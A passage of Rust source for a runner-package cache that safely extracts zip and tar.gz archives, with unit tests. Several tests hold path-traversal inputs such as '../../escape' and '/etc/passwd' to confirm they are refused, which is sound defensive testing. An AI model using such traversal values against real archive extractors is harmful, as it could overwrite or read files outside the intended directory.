1760 let holders = self.holders(version)?;
1761 for holder in &holders {
1762 match attempts.iter().find(|attempt| attempt.id == *holder) {
1763 Some(attempt) if !attempt.is_terminal() => {
1764 return Err(PackageError::VersionInUse {
1765 version: version.clone(),
1766 attempt: *holder,
1767 state: attempt.state(),
1768 });
1769 }
1770 Some(_) => {}
1771 None => {
1772 return Err(PackageError::VersionHeldByUnknownAttempt {
1773 version: version.clone(),
1774 attempt: *holder,
1775 });
1776 }
1777 }
1778 }
1779
1780 let dir = self.version_dir(version);
1781 fs::remove_dir_all(&dir).map_err(|source| PackageError::Io {
1782 what: "remove a cached runner package",
1783 path: dir,
1784 source,
1785 })?;
1786 for holder in holders {
1788 self.release(holder)?;
1789 }
1790 Ok(())
1791 }
1792
1793 fn staging_root(&self) -> PathBuf {
1796 self.root.join(STAGING_DIR)
1797 }
1798
1799 pub fn sweep_staging(&self) -> Result<usize, PackageError> {
1808 let root = self.staging_root();
1809 let entries = match fs::read_dir(&root) {
1810 Ok(entries) => entries,
1811 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(0),
1812 Err(source) => {
1813 return Err(PackageError::Io {
1814 what: "read the runner package staging area",
1815 path: root,
1816 source,
1817 });
1818 }
1819 };
1820 let mut swept = 0;
1821 for entry in entries.flatten() {
1822 let path = entry.path();
1823 let removed = if path.is_dir() {
1826 fs::remove_dir_all(&path).is_ok()
1827 } else {
1828 fs::remove_file(&path).is_ok()
1829 };
1830 if removed {
1831 swept += 1;
1832 }
1833 }
1834 Ok(swept)
1835 }
1836}
1837
1838#[derive(Debug, Clone, Serialize, Deserialize)]
1840struct Lease {
1841 version: RunnerVersion,
1842}
1843
1844struct StagingGuard {
1846 dir: Option<PathBuf>,
1847}
1848
1849impl StagingGuard {
1850 fn new(dir: PathBuf) -> Self {
1851 Self { dir: Some(dir) }
1852 }
1853
1854 fn disarm_into_sweep(mut self) {
1857 if let Some(dir) = self.dir.take() {
1858 let _ = fs::remove_dir_all(dir);
1859 }
1860 }
1861}
1862
1863impl Drop for StagingGuard {
1864 fn drop(&mut self) {
1865 if let Some(dir) = self.dir.take() {
1866 let _ = fs::remove_dir_all(dir);
1867 }
1868 }
1869}
1870
1871fn extract(archive: &Path, kind: ArchiveKind, into: &Path) -> Result<(), PackageError> {
1882 create_dir_all(into)?;
1883 match kind {
1884 ArchiveKind::Zip => extract_zip(archive, into),
1885 ArchiveKind::TarGz => extract_tar_gz(archive, into),
1886 }
1887}
1888
1889fn extract_zip(archive: &Path, into: &Path) -> Result<(), PackageError> {
1890 let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1891 what: "open the runner package archive",
1892 path: archive.to_path_buf(),
1893 source,
1894 })?;
1895 let mut zip = zip::ZipArchive::new(file).map_err(|error| PackageError::Extract {
1896 detail: error.to_string(),
1897 })?;
1898
1899 for index in 0..zip.len() {
1900 let mut entry = zip.by_index(index).map_err(|error| PackageError::Extract {
1901 detail: error.to_string(),
1902 })?;
1903 let raw_name = entry.name().to_string();
1904 let relative = entry
1908 .enclosed_name()
1909 .ok_or_else(|| PackageError::UnsafeArchiveEntry {
1910 entry: raw_name.clone(),
1911 })?;
1912 let Some(destination) = entry_destination(into, &relative, &raw_name)? else {
1913 continue;
1914 };
1915
1916 if entry.is_dir() {
1917 create_dir_all(&destination)?;
1918 apply_mode_policy(&destination, intended_mode(true, entry.unix_mode()))?;
1921 continue;
1922 }
1923 if entry.is_symlink() {
1924 return Err(PackageError::UnsafeArchiveEntry { entry: raw_name });
1928 }
1929 if let Some(parent) = destination.parent() {
1930 create_dir_all(parent)?;
1931 }
1932 let mut out = fs::File::create(&destination).map_err(|source| PackageError::Io {
1933 what: "create an extracted runner package file",
1934 path: destination.clone(),
1935 source,
1936 })?;
1937 io::copy(&mut entry, &mut out).map_err(|source| PackageError::Io {
1938 what: "write an extracted runner package file",
1939 path: destination.clone(),
1940 source,
1941 })?;
1942 apply_mode_policy(&destination, intended_mode(false, entry.unix_mode()))?;
1943 }
1944 Ok(())
1945}
1946
1947fn extract_tar_gz(archive: &Path, into: &Path) -> Result<(), PackageError> {
1948 let file = fs::File::open(archive).map_err(|source| PackageError::Io {
1949 what: "open the runner package archive",
1950 path: archive.to_path_buf(),
1951 source,
1952 })?;
1953 let mut tar = tar::Archive::new(flate2::read::GzDecoder::new(file));
1954 let entries = tar.entries().map_err(|source| PackageError::Extract {
1955 detail: source.to_string(),
1956 })?;
1957 for entry in entries {
1958 let mut entry = entry.map_err(|source| PackageError::Extract {
1959 detail: source.to_string(),
1960 })?;
1961
1962 let relative = entry
1965 .path()
1966 .map_err(|source| PackageError::Extract {
1967 detail: source.to_string(),
1968 })?
1969 .into_owned();
1970 let display = relative.display().to_string();
1971 let kind = entry.header().entry_type();
1972 let mode = entry
1973 .header()
1974 .mode()
1975 .map_err(|source| PackageError::Extract {
1976 detail: source.to_string(),
1977 })?;
1978 let link_target = entry
1979 .link_name()
1980 .map_err(|source| PackageError::Extract {
1981 detail: source.to_string(),
1982 })?
1983 .map(|target| target.into_owned());
1984
1985 let Some(destination) = entry_destination(into, &relative, &display)? else {
1989 continue;
1992 };
1993
1994 if matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2004 let target =
2005 link_target
2006 .as_deref()
2007 .ok_or_else(|| PackageError::UnsafeArchiveEntry {
2008 entry: display.clone(),
2009 })?;
2010 resolve_link_target(into, &destination, kind, target, &display)?;
2011 }
2012
2013 entry.set_preserve_permissions(false);
2025 entry.set_mask(0o077);
2026 let unpacked = entry
2027 .unpack_in(into)
2028 .map_err(|source| PackageError::Extract {
2029 detail: source.to_string(),
2030 })?;
2031 if !unpacked {
2032 return Err(PackageError::UnsafeArchiveEntry { entry: display });
2033 }
2034
2035 if !matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link) {
2038 let is_directory = matches!(kind, tar::EntryType::Directory);
2039 apply_mode_policy(&destination, intended_mode(is_directory, Some(mode)))?;
2040 }
2041 }
2042 Ok(())
2043}
2044
2045fn resolve_link_target(
2052 into: &Path,
2053 entry_destination: &Path,
2054 kind: tar::EntryType,
2055 target: &Path,
2056 raw: &str,
2057) -> Result<(), PackageError> {
2058 let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2059 entry: raw.to_string(),
2060 };
2061 if target.is_absolute() {
2062 return Err(unsafe_entry());
2063 }
2064 let mut resolved = if matches!(kind, tar::EntryType::Symlink) {
2065 entry_destination.parent().unwrap_or(into).to_path_buf()
2066 } else {
2067 into.to_path_buf()
2068 };
2069 for component in target.components() {
2070 match component {
2071 Component::Normal(part) => resolved.push(part),
2072 Component::CurDir => {}
2073 Component::ParentDir => {
2077 if !resolved.pop() {
2078 return Err(unsafe_entry());
2079 }
2080 }
2081 Component::RootDir | Component::Prefix(_) => return Err(unsafe_entry()),
2082 }
2083 }
2084 if !is_inside(into, &resolved) {
2085 return Err(unsafe_entry());
2086 }
2087 Ok(())
2088}
2089
2090fn entry_destination(
2110 root: &Path,
2111 relative: &Path,
2112 raw: &str,
2113) -> Result<Option<PathBuf>, PackageError> {
2114 let resolved = resolve_inside(root, relative, raw)?;
2115 if resolved == root {
2116 return Ok(None);
2117 }
2118 Ok(Some(resolved))
2119}
2120
2121fn intended_mode(is_directory: bool, published: Option<u32>) -> Option<u32> {
2133 if is_directory {
2134 return Some(policy_mode(published.unwrap_or(0o700) | 0o100));
2135 }
2136 published.map(policy_mode)
2137}
2138
2139fn resolve_inside(root: &Path, relative: &Path, raw: &str) -> Result<PathBuf, PackageError> {
2141 let unsafe_entry = || PackageError::UnsafeArchiveEntry {
2142 entry: raw.to_string(),
2143 };
2144 if relative.is_absolute() {
2145 return Err(unsafe_entry());
2146 }
2147 let mut resolved = root.to_path_buf();
2148 for component in relative.components() {
2149 match component {
2150 Component::Normal(part) => resolved.push(part),
2151 Component::CurDir => {}
2155 Component::ParentDir | Component::RootDir | Component::Prefix(_) => {
2156 return Err(unsafe_entry());
2157 }
2158 }
2159 }
2160 if !is_inside(root, &resolved) {
2161 return Err(unsafe_entry());
2162 }
2163 Ok(resolved)
2164}
2165
2166fn is_inside(root: &Path, candidate: &Path) -> bool {
2184 let normalise = |path: &Path| -> Vec<std::ffi::OsString> {
2185 path.components()
2186 .filter_map(|component| match component {
2187 Component::Normal(part) => Some(part.to_os_string()),
2188 Component::RootDir => Some(std::ffi::OsString::from("/")),
2189 Component::Prefix(prefix) => Some(prefix.as_os_str().to_os_string()),
2190 Component::CurDir | Component::ParentDir => None,
2191 })
2192 .collect()
2193 };
2194 if candidate
2197 .components()
2198 .any(|c| matches!(c, Component::ParentDir))
2199 {
2200 return false;
2201 }
2202 let root = normalise(root);
2203 let candidate = normalise(candidate);
2204 candidate.len() >= root.len() && candidate[..root.len()] == root[..]
2205}
2206
2207const fn policy_mode(published: u32) -> u32 {
2229 if published & 0o111 == 0 { 0o600 } else { 0o700 }
2230}
2231
2232fn apply_mode_policy(path: &Path, mode: Option<u32>) -> Result<(), PackageError> {
2240 let Some(published) = mode else { return Ok(()) };
2241 let mode = policy_mode(published);
2242 #[cfg(unix)]
2243 {
2244 use std::os::unix::fs::PermissionsExt as _;
2245 fs::set_permissions(path, fs::Permissions::from_mode(mode)).map_err(|source| {
2246 PackageError::Io {
2247 what: "set permissions on an extracted runner package file",
2248 path: path.to_path_buf(),
2249 source,
2250 }
2251 })
2252 }
2253 #[cfg(not(unix))]
2254 {
2255 let _ = (path, mode);
2259 Ok(())
2260 }
2261}
2262
2263fn remove_file_if_present(path: &Path, what: &'static str) -> Result<(), PackageError> {
2272 match fs::remove_file(path) {
2273 Ok(()) => Ok(()),
2274 Err(source) if source.kind() == io::ErrorKind::NotFound => Ok(()),
2275 Err(source) => Err(PackageError::Io {
2276 what,
2277 path: path.to_path_buf(),
2278 source,
2279 }),
2280 }
2281}
2282
2283fn create_dir_all(path: &Path) -> Result<(), PackageError> {
2284 fs::create_dir_all(path).map_err(|source| PackageError::Io {
2285 what: "create a runner package cache directory",
2286 path: path.to_path_buf(),
2287 source,
2288 })
2289}
2290
2291fn write_json<T: Serialize>(path: &Path, value: &T) -> Result<(), PackageError> {
2292 let encoded = serde_json::to_vec_pretty(value).map_err(|error| PackageError::Extract {
2293 detail: format!("the package manifest could not be encoded: {error}"),
2294 })?;
2295 fs::write(path, encoded).map_err(|source| PackageError::Io {
2296 what: "write a runner package cache file",
2297 path: path.to_path_buf(),
2298 source,
2299 })
2300}
2301
2302fn holder_of(path: &Path, version: &RunnerVersion) -> Result<Option<AttemptId>, PackageError> {
2325 let unreadable = || PackageError::UnreadableLease {
2326 path: path.to_path_buf(),
2327 };
2328 let uuid = path
2329 .file_stem()
2330 .and_then(|stem| stem.to_str())
2331 .and_then(|stem| uuid::Uuid::parse_str(stem).ok())
2332 .ok_or_else(unreadable)?;
2333 let Some(lease) = read_lease(path)? else {
2334 return Ok(None);
2335 };
2336 Ok((lease.version == *version).then(|| AttemptId::from_uuid(uuid)))
2337}
2338
2339fn read_lease(path: &Path) -> Result<Option<Lease>, PackageError> {
2353 let bytes = match fs::read(path) {
2354 Ok(bytes) => bytes,
2355 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2356 Err(source) => {
2357 return Err(PackageError::Io {
2358 what: "read a runner package lease",
2359 path: path.to_path_buf(),
2360 source,
2361 });
2362 }
2363 };
2364 serde_json::from_slice(&bytes)
2365 .map(Some)
2366 .map_err(|_| PackageError::UnreadableLease {
2367 path: path.to_path_buf(),
2368 })
2369}
2370
2371fn read_json<T: for<'de> Deserialize<'de>>(path: &Path) -> Result<Option<T>, PackageError> {
2378 let bytes = match fs::read(path) {
2379 Ok(bytes) => bytes,
2380 Err(source) if source.kind() == io::ErrorKind::NotFound => return Ok(None),
2381 Err(source) => {
2382 return Err(PackageError::Io {
2383 what: "read a runner package cache file",
2384 path: path.to_path_buf(),
2385 source,
2386 });
2387 }
2388 };
2389 Ok(serde_json::from_slice(&bytes).ok())
2390}
2391
2392#[cfg(test)]
2397mod tests {
2398 use super::*;
2399
2400 use std::io::Write as _;
2401 use std::sync::atomic::{AtomicUsize, Ordering};
2402
2403 use runner_manager_domain::attempt::AttemptState;
2404 use runner_manager_testkit::clock::FakeClock;
2405 use runner_manager_testkit::fixtures;
2406 use runner_manager_testkit::github as gh;
2407
2408 fn zip_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2412 let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2413 let options = zip::write::SimpleFileOptions::default();
2414 for (name, body) in entries {
2415 writer
2416 .start_file(*name, options)
2417 .expect("start a zip entry");
2418 writer
2419 .write_all(body.as_bytes())
2420 .expect("write a zip entry");
2421 }
2422 writer.finish().expect("finish the zip").into_inner()
2423 }
2424
2425 fn zip_bytes_with_modes(entries: &[(&str, &str, Option<u32>)]) -> Vec<u8> {
2430 let mut writer = zip::ZipWriter::new(io::Cursor::new(Vec::new()));
2431 for (name, body, mode) in entries {
2432 let mut options = zip::write::SimpleFileOptions::default();
2433 if let Some(mode) = mode {
2434 options = options.unix_permissions(*mode);
2435 }
2436 if name.ends_with('/') {
2437 writer
2438 .add_directory(name.trim_end_matches('/'), options)
2439 .expect("start a zip directory");
2440 } else {
2441 writer
2442 .start_file(*name, options)
2443 .expect("start a zip entry");
2444 writer
2445 .write_all(body.as_bytes())
2446 .expect("write a zip entry");
2447 }
2448 }
2449 writer.finish().expect("finish the zip").into_inner()
2450 }
2451
2452 fn tar_gz_bytes(entries: &[(&str, &str)]) -> Vec<u8> {
2454 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2455 let mut builder = tar::Builder::new(encoder);
2456 for (name, body) in entries {
2457 let mut header = tar::Header::new_gnu();
2458 header.set_size(body.len() as u64);
2459 header.set_mode(0o644);
2460 header.set_cksum();
2461 builder
2462 .append_data(&mut header, name, body.as_bytes())
2463 .expect("append a tar entry");
2464 }
2465 builder
2466 .into_inner()
2467 .expect("finish the tar")
2468 .finish()
2469 .expect("finish the gzip")
2470 }
2471
2472 fn tar_gz_with_raw_name(name: &str, body: &str) -> Vec<u8> {
2480 let mut header = tar::Header::new_gnu();
2481 header.set_size(body.len() as u64);
2482 header.set_mode(0o644);
2483 header.set_entry_type(tar::EntryType::Regular);
2484 {
2485 let gnu = header.as_gnu_mut().expect("a GNU header");
2486 let bytes = name.as_bytes();
2487 assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2488 gnu.name[..bytes.len()].copy_from_slice(bytes);
2489 }
2490 header.set_cksum();
2491
2492 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2493 let mut builder = tar::Builder::new(encoder);
2494 builder
2495 .append(&header, body.as_bytes())
2496 .expect("append a raw tar entry");
2497 builder
2498 .into_inner()
2499 .expect("finish the tar")
2500 .finish()
2501 .expect("finish the gzip")
2502 }
2503
2504 fn tar_gz_special(
2510 name: &str,
2511 body: &str,
2512 mode: u32,
2513 kind: tar::EntryType,
2514 link_target: Option<&str>,
2515 ) -> Vec<u8> {
2516 let is_link = matches!(kind, tar::EntryType::Symlink | tar::EntryType::Link);
2517 let mut header = tar::Header::new_gnu();
2518 header.set_size(if is_link { 0 } else { body.len() as u64 });
2519 header.set_mode(mode);
2520 header.set_entry_type(kind);
2521 if let Some(target) = link_target {
2522 header
2523 .set_link_name_literal(target)
2524 .expect("a raw link target");
2525 }
2526 {
2527 let gnu = header.as_gnu_mut().expect("a GNU header");
2528 let bytes = name.as_bytes();
2529 assert!(bytes.len() < gnu.name.len(), "the fixture name must fit");
2530 gnu.name[..bytes.len()].copy_from_slice(bytes);
2531 }
2532 header.set_cksum();
2533
2534 let encoder = flate2::write::GzEncoder::new(Vec::new(), flate2::Compression::fast());
2535 let mut builder = tar::Builder::new(encoder);
2536 let data: &[u8] = if is_link { &[] } else { body.as_bytes() };
2537 builder
2538 .append(&header, data)
2539 .expect("append a raw tar entry");
2540 builder
2541 .into_inner()
2542 .expect("finish the tar")
2543 .finish()
2544 .expect("finish the gzip")
2545 }
2546
2547 fn first_entry_header(bytes: &[u8]) -> (u32, tar::EntryType, Option<PathBuf>) {
2553 let mut archive = tar::Archive::new(flate2::read::GzDecoder::new(io::Cursor::new(
2554 bytes.to_vec(),
2555 )));
2556 let mut entries = archive.entries().expect("entries");
2557 let entry = entries
2558 .next()
2559 .expect("one entry")
2560 .expect("a readable entry");
2561 let link = entry
2562 .link_name()
2563 .expect("a link name field")
2564 .map(|path| path.into_owned());
2565 let header = entry.header();
2566 (header.mode().expect("a mode"), header.entry_type(), link)
2567 }
2568
2569 fn package_entries() -> Vec<(&'static str, &'static str)> {
2571 vec![
2572 ("run.sh", "#!/bin/sh\necho runner\n"),
2573 ("bin/Runner.Listener", "listener\n"),
2574 ]
2575 }
2576
2577 fn hex_digest(bytes: &[u8]) -> String {
2578 let mut hasher = Sha256::new();
2579 hasher.update(bytes);
2580 hex::encode(hasher.finalize())
2581 }
2582
2583 fn published(
2585 os: &str,
2586 arch: &str,
2587 version: &str,
2588 extension: &str,
2589 digest: Option<&str>,
2590 ) -> RunnerDownload {
2591 let filename = format!("actions-runner-{os}-{arch}-{version}{extension}");
2592 RunnerDownload {
2593 os: os.to_string(),
2594 architecture: arch.to_string(),
2595 download_url: format!(
2596 "https://github.com/actions/runner/releases/download/v{version}/{filename}"
2597 ),
2598 filename,
2599 sha256_checksum: digest.map(str::to_string),
2600 }
2601 }
2602
2603 #[derive(Debug, Clone)]
2606 enum Answer {
2607 Downloads(Vec<RunnerDownload>),
2608 Rejected,
2609 Unavailable,
2610 }
2611
2612 #[derive(Debug)]
2613 struct FakeCatalog {
2614 answer: Mutex<Answer>,
2615 calls: AtomicUsize,
2616 }
2617
2618 impl FakeCatalog {
2619 fn with(downloads: Vec<RunnerDownload>) -> Arc<Self> {
2620 Self::answering(Answer::Downloads(downloads))
2621 }
2622
2623 fn answering(answer: Answer) -> Arc<Self> {
2624 Arc::new(Self {
2625 answer: Mutex::new(answer),
2626 calls: AtomicUsize::new(0),
2627 })
2628 }
2629
2630 fn publish(&self, downloads: Vec<RunnerDownload>) {
2631 *self.answer.lock().unwrap() = Answer::Downloads(downloads);
2632 }
2633
2634 fn calls(&self) -> usize {
2635 self.calls.load(Ordering::SeqCst)
2636 }
2637 }
2638
2639 #[async_trait::async_trait]
2640 impl DownloadCatalog for FakeCatalog {
2641 async fn published(&self) -> Result<RunnerDownloads, PackageError> {
2642 self.calls.fetch_add(1, Ordering::SeqCst);
2643 let answer = self.answer.lock().unwrap().clone();
2644 match answer {
2645 Answer::Downloads(entries) => Ok(RunnerDownloads::new(entries)),
2646 Answer::Rejected => Err(PackageError::VersionRejected {
2647 version: None,
2648 detail: Some("the runner version is no longer supported".to_string()),
2649 }),
2650 Answer::Unavailable => Err(PackageError::CatalogUnavailable {
2651 detail: "502 Bad Gateway".to_string(),
2652 }),
2653 }
2654 }
2655 }
2656
2657 #[derive(Debug)]
2658 struct FakeFetcher {
2659 payload: Mutex<Vec<u8>>,
2660 calls: Mutex<Vec<(String, PathBuf)>>,
2662 wrote: Mutex<Vec<PathBuf>>,
2666 fail: Mutex<bool>,
2667 }
2668
2669 impl FakeFetcher {
2670 fn with(payload: Vec<u8>) -> Arc<Self> {
2671 Arc::new(Self {
2672 payload: Mutex::new(payload),
2673 calls: Mutex::new(Vec::new()),
2674 wrote: Mutex::new(Vec::new()),
2675 fail: Mutex::new(false),
2676 })
2677 }
2678
2679 fn serve(&self, payload: Vec<u8>) {
2680 *self.payload.lock().unwrap() = payload;
2681 }
2682
2683 fn calls(&self) -> Vec<(String, PathBuf)> {
2684 self.calls.lock().unwrap().clone()
2685 }
2686
2687 fn count(&self) -> usize {
2688 self.calls.lock().unwrap().len()
2689 }
2690
2691 fn wrote(&self) -> Vec<PathBuf> {
2692 self.wrote.lock().unwrap().clone()
2693 }
2694 }
2695
2696 #[async_trait::async_trait]
2697 impl PackageFetcher for FakeFetcher {
2698 async fn fetch(&self, url: &str, destination: &Path) -> Result<u64, PackageError> {
2699 self.calls
2700 .lock()
2701 .unwrap()
2702 .push((url.to_string(), destination.to_path_buf()));
2703 if *self.fail.lock().unwrap() {
2704 return Err(PackageError::Download {
2705 detail: "connection reset".to_string(),
2706 });
2707 }
2708 let payload = self.payload.lock().unwrap().clone();
2709 fs::write(destination, &payload).expect("the fake fetcher writes its payload");
2710 assert!(
2711 destination.is_file(),
2712 "the fake fetcher must actually create the file, or every \
2713 assertion about removing it is vacuous"
2714 );
2715 self.wrote.lock().unwrap().push(destination.to_path_buf());
2716 Ok(payload.len() as u64)
2717 }
2718 }
2719
2720 struct Harness {
2723 _dir: tempfile::TempDir,
2724 paths: AppPaths,
2725 catalog: Arc<FakeCatalog>,
2726 fetcher: Arc<FakeFetcher>,
2727 clock: Arc<FakeClock>,
2728 }
2729
2730 impl Harness {
2731 fn new(downloads: Vec<RunnerDownload>, payload: Vec<u8>) -> Self {
2732 let dir = tempfile::tempdir().expect("a temporary root");
2733 let paths = AppPaths::rooted_at(dir.path());
2734 Self {
2735 _dir: dir,
2736 paths,
2737 catalog: FakeCatalog::with(downloads),
2738 fetcher: FakeFetcher::with(payload),
2739 clock: Arc::new(FakeClock::default()),
2740 }
2741 }
2742
2743 fn with_catalog(mut self, catalog: Arc<FakeCatalog>) -> Self {
2744 self.catalog = catalog;
2745 self
2746 }
2747
2748 fn cache(&self) -> PackageCache {
2749 self.cache_for(Os::Linux, Arch::X64)
2750 }
2751
2752 fn cache_for(&self, os: Os, arch: Arch) -> PackageCache {
2753 PackageCache::new(
2754 &self.paths,
2755 os,
2756 arch,
2757 CachePorts {
2758 catalog: self.catalog.clone(),
2759 fetcher: self.fetcher.clone(),
2760 backoff: Arc::new(NoBackoff),
2761 clock: self.clock.clone(),
2762 },
2763 )
2764 }
2765 }
2766
2767 fn linux_fixture() -> (Harness, Vec<u8>, String) {
2770 let payload = tar_gz_bytes(&package_entries());
2771 let digest = hex_digest(&payload);
2772 let downloads = vec![published(
2773 "linux",
2774 "x64",
2775 "2.330.0",
2776 ".tar.gz",
2777 Some(&digest),
2778 )];
2779 (Harness::new(downloads, payload.clone()), payload, digest)
2780 }
2781
2782 fn all_paths(root: &Path) -> Vec<String> {
2784 fn walk(base: &Path, dir: &Path, out: &mut Vec<String>) {
2785 let Ok(entries) = fs::read_dir(dir) else {
2786 return;
2787 };
2788 for entry in entries.flatten() {
2789 let path = entry.path();
2790 out.push(
2791 path.strip_prefix(base)
2792 .unwrap_or(&path)
2793 .to_string_lossy()
2794 .replace('\\', "/"),
2795 );
2796 if path.is_dir() {
2797 walk(base, &path, out);
2798 }
2799 }
2800 }
2801 let mut out = Vec::new();
2802 walk(root, root, &mut out);
2803 out.sort();
2804 out
2805 }
2806
2807 fn version(raw: &str) -> RunnerVersion {
2808 RunnerVersion::parse(raw).expect("a well-formed test version")
2809 }
2810
2811 #[test]
2817 fn a_version_is_two_to_four_runs_of_digits_and_nothing_else() {
2818 for good in ["2.330.0", "2.9", "1.2.3.4", "0.0.0"] {
2819 assert!(
2820 RunnerVersion::parse(good).is_ok(),
2821 "`{good}` should parse as a version"
2822 );
2823 }
2824 for bad in [
2827 "",
2828 ".",
2829 "..",
2830 "../..",
2831 "2",
2832 "2.330.0.1.2",
2833 "a.b",
2834 "2.330.x",
2835 "2/330",
2836 "2\\330",
2837 "/2.330.0",
2838 "C:2.330.0",
2839 "2.330.0 ",
2840 " 2.330.0",
2841 "2..0",
2842 "2.330.0/../..",
2843 ] {
2844 assert!(
2845 RunnerVersion::parse(bad).is_err(),
2846 "`{bad}` must be refused: it becomes a directory name"
2847 );
2848 }
2849 }
2850
2851 #[test]
2852 fn anything_that_parses_as_a_version_is_a_single_safe_path_component() {
2853 for candidate in [
2862 "2.330.0",
2863 "2.9",
2864 "1.2.3.4",
2865 "",
2866 ".",
2867 "..",
2868 "../..",
2869 "2",
2870 "a.b",
2871 "2/330",
2872 "2\\330",
2873 "/2.330.0",
2874 "C:2.330.0",
2875 "2..0",
2876 "2.330.0/../..",
2877 ] {
2878 let Ok(parsed) = RunnerVersion::parse(candidate) else {
2879 continue;
2880 };
2881 let joined = Path::new("root").join(parsed.as_str());
2882 assert_eq!(
2883 joined.components().count(),
2884 2,
2885 "`{candidate}` parsed but adds more than one path component"
2886 );
2887 assert!(
2888 !joined
2889 .components()
2890 .any(|c| matches!(c, Component::ParentDir | Component::RootDir)),
2891 "`{candidate}` parsed but introduces a traversal or a root"
2892 );
2893 }
2894 }
2895
2896 #[test]
2897 fn versions_order_numerically_not_lexically() {
2898 assert!(version("2.9.0") < version("2.10.0"));
2899 assert!(version("2.330.0") > version("2.329.9"));
2900 }
2901
2902 #[test]
2903 fn a_version_is_read_out_of_the_published_filename() {
2904 assert_eq!(
2907 RunnerVersion::from_filename("actions-runner-win-x64-2.330.0.zip").unwrap(),
2908 version("2.330.0")
2909 );
2910 assert_eq!(
2911 RunnerVersion::from_filename("actions-runner-linux-arm64-2.330.0.tar.gz").unwrap(),
2912 version("2.330.0")
2913 );
2914 let fixture = gh::download("osx", "arm64");
2916 assert_eq!(
2917 RunnerVersion::from_filename(&fixture.filename).unwrap(),
2918 version("2.330.0")
2919 );
2920 }
2921
2922 #[test]
2923 fn an_archive_this_agent_cannot_extract_is_refused_by_name() {
2924 for bad in [
2925 "actions-runner-linux-x64-2.330.0.rar",
2926 "actions-runner-linux-x64-2.330.0",
2927 "actions-runner-linux-x64-2.330.0.tar.xz",
2928 ] {
2929 let error = RunnerVersion::from_filename(bad).unwrap_err();
2930 assert!(
2931 matches!(error, PackageError::UnsupportedArchive { .. }),
2932 "`{bad}` should be an unsupported archive, got {error:?}"
2933 );
2934 assert!(error.is_terminal());
2935 }
2936 }
2937
2938 #[test]
2939 fn a_digest_is_sixty_four_hex_characters_normalised_to_lowercase() {
2940 let upper = "A".repeat(64);
2941 assert_eq!(Sha256Hex::parse(&upper).unwrap().as_str(), "a".repeat(64));
2942 for bad in ["", "abc", &"g".repeat(64), &"a".repeat(63), &"a".repeat(65)] {
2943 assert!(
2944 Sha256Hex::parse(bad).is_err(),
2945 "`{bad}` is not a SHA-256 digest"
2946 );
2947 }
2948 }
2949
2950 #[test]
2951 fn a_malformed_published_digest_is_a_refusal_not_a_comparison_that_never_matches() {
2952 let error = Sha256Hex::parse("sha256:9f86d081884c7d65").unwrap_err();
2957 assert!(matches!(error, PackageError::MalformedDigest { .. }));
2958 assert!(error.is_terminal());
2959 assert!(error.operator_action().is_some());
2960 }
2961
2962 #[test]
2968 fn containment_answers_for_paths_that_do_not_exist() {
2969 let root = Path::new("/cache/packages");
2970 assert!(is_inside(root, Path::new("/cache/packages")));
2971 assert!(is_inside(root, Path::new("/cache/packages/2.330.0/bin/x")));
2972 assert!(!is_inside(root, Path::new("/cache")));
2973 assert!(!is_inside(root, Path::new("/cache/packages-other/x")));
2974 assert!(!is_inside(root, Path::new("/elsewhere/2.330.0")));
2975 assert!(!is_inside(root, Path::new("/cache/packages/../escape")));
2978 }
2979
2980 #[test]
2981 fn an_archive_entry_may_not_resolve_outside_the_directory_it_is_extracted_into() {
2982 let root = Path::new("/cache/staging/root");
2983 assert!(resolve_inside(root, Path::new("bin/x"), "bin/x").is_ok());
2984 assert!(resolve_inside(root, Path::new("./bin/x"), "./bin/x").is_ok());
2985 for escape in ["../escape", "../../escape", "a/../../escape", "/etc/passwd"] {
2986 let error = resolve_inside(root, Path::new(escape), escape).unwrap_err();
2987 assert!(
2988 matches!(error, PackageError::UnsafeArchiveEntry { .. }),
2989 "`{escape}` must be refused, got {error:?}"
2990 );
2991 }
2992 }
2993
2994 #[tokio::test]
3000 async fn the_entry_matching_this_host_is_the_one_downloaded() {
3001 let payload = tar_gz_bytes(&package_entries());
3002 let digest = hex_digest(&payload);
3003 let harness = Harness::new(
3007 vec![
3008 published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3009 published("linux", "x64", "2.330.0", ".tar.gz", Some(&digest)),
3010 published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3011 ],
3012 payload,
3013 );
3014 let cache = harness.cache_for(Os::Linux, Arch::X64);
3015
3016 let installed = cache.ensure_installed().await.expect("an install");
3017
3018 assert_eq!(installed.version(), &version("2.330.0"));
3019 let calls = harness.fetcher.calls();
3020 assert_eq!(calls.len(), 1);
3021 assert!(
3022 calls[0]
3023 .0
3024 .contains("actions-runner-linux-x64-2.330.0.tar.gz"),
3025 "the linux/x64 package should have been fetched, not `{}`",
3026 calls[0].0
3027 );
3028 }
3029
3030 #[tokio::test]
3031 async fn each_documented_host_selects_its_own_published_package() {
3032 for (os, arch, token_os, token_arch, extension) in [
3036 (Os::Windows, Arch::X64, "win", "x64", ".zip"),
3037 (Os::MacOs, Arch::Arm64, "osx", "arm64", ".tar.gz"),
3038 (Os::Linux, Arch::Arm32, "linux", "arm", ".tar.gz"),
3039 ] {
3040 let payload = if extension == ".zip" {
3041 zip_bytes(&package_entries())
3042 } else {
3043 tar_gz_bytes(&package_entries())
3044 };
3045 let digest = hex_digest(&payload);
3046 let harness = Harness::new(
3047 vec![
3048 published("win", "x64", "2.330.0", ".zip", Some(&digest)),
3049 published("osx", "arm64", "2.330.0", ".tar.gz", Some(&digest)),
3050 published("linux", "arm", "2.330.0", ".tar.gz", Some(&digest)),
3051 ],
3052 payload,
3053 );
3054 let cache = harness.cache_for(os, arch);
3055
3056 let installed = cache
3057 .ensure_installed()
3058 .await
3059 .unwrap_or_else(|error| panic!("{os}/{arch} should install: {error}"));
3060
3061 let url = &harness.fetcher.calls()[0].0;
3062 assert!(
3063 url.contains(&format!("actions-runner-{token_os}-{token_arch}-")),
3064 "{os}/{arch} fetched `{url}`"
3065 );
